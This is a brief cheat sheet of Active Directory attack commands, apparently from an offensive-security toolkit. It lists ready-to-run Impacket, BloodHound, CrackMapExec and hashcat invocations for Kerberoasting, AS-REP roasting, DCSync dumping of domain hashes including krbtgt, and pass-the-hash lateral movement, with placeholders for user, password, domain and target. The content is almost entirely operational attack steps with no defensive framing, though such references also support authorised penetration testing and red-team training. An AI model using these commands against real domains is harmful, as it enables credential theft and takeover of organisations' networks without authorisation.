<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Performing Active Directory Attacks

## BloodHound Python
```bash
bloodhound-python -u USER -p PASS -d DOMAIN -c All -ns DC_IP
# Collection methods: All, Group, LocalAdmin, Session, Trusts, ACL, ObjectProps
```

## Impacket
```bash
# Kerberoasting
GetUserSPNs.py DOMAIN/USER:PASS -dc-ip DC_IP -request -outputfile tgs.txt

# AS-REP Roasting
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat

# DCSync
secretsdump.py DOMAIN/USER:PASS@DC_IP -just-dc-ntlm
secretsdump.py DOMAIN/USER:PASS@DC_IP -just-dc-user krbtgt

# Lateral Movement
psexec.py -hashes :NTHASH DOMAIN/USER@TARGET
wmiexec.py -hashes :NTHASH DOMAIN/USER@TARGET
smbexec.py -hashes :NTHASH DOMAIN/USER@TARGET
atexec.py -hashes :NTHASH DOMAIN/USER@TARGET 'whoami'
```

## CrackMapExec
```bash
crackmapexec smb RANGE -u USER -p PASS --shares
crackmapexec smb DC_IP -u USER -p PASS --users
crackmapexec smb DC_IP -u USER -p PASS --pass-pol
crackmapexec ldap DC_IP -u USER -p PASS --kerberoasting output.txt
crackmapexec ldap DC_IP -u USER -p PASS --asreproast output.txt
```

## Hashcat Modes
| Mode | Type |
|------|------|
| 13100 | Kerberoast TGS-REP (RC4) |
| 18200 | AS-REP |
| 1000 | NTLM |
| 19700 | Kerberoast TGS-REP (AES256) |
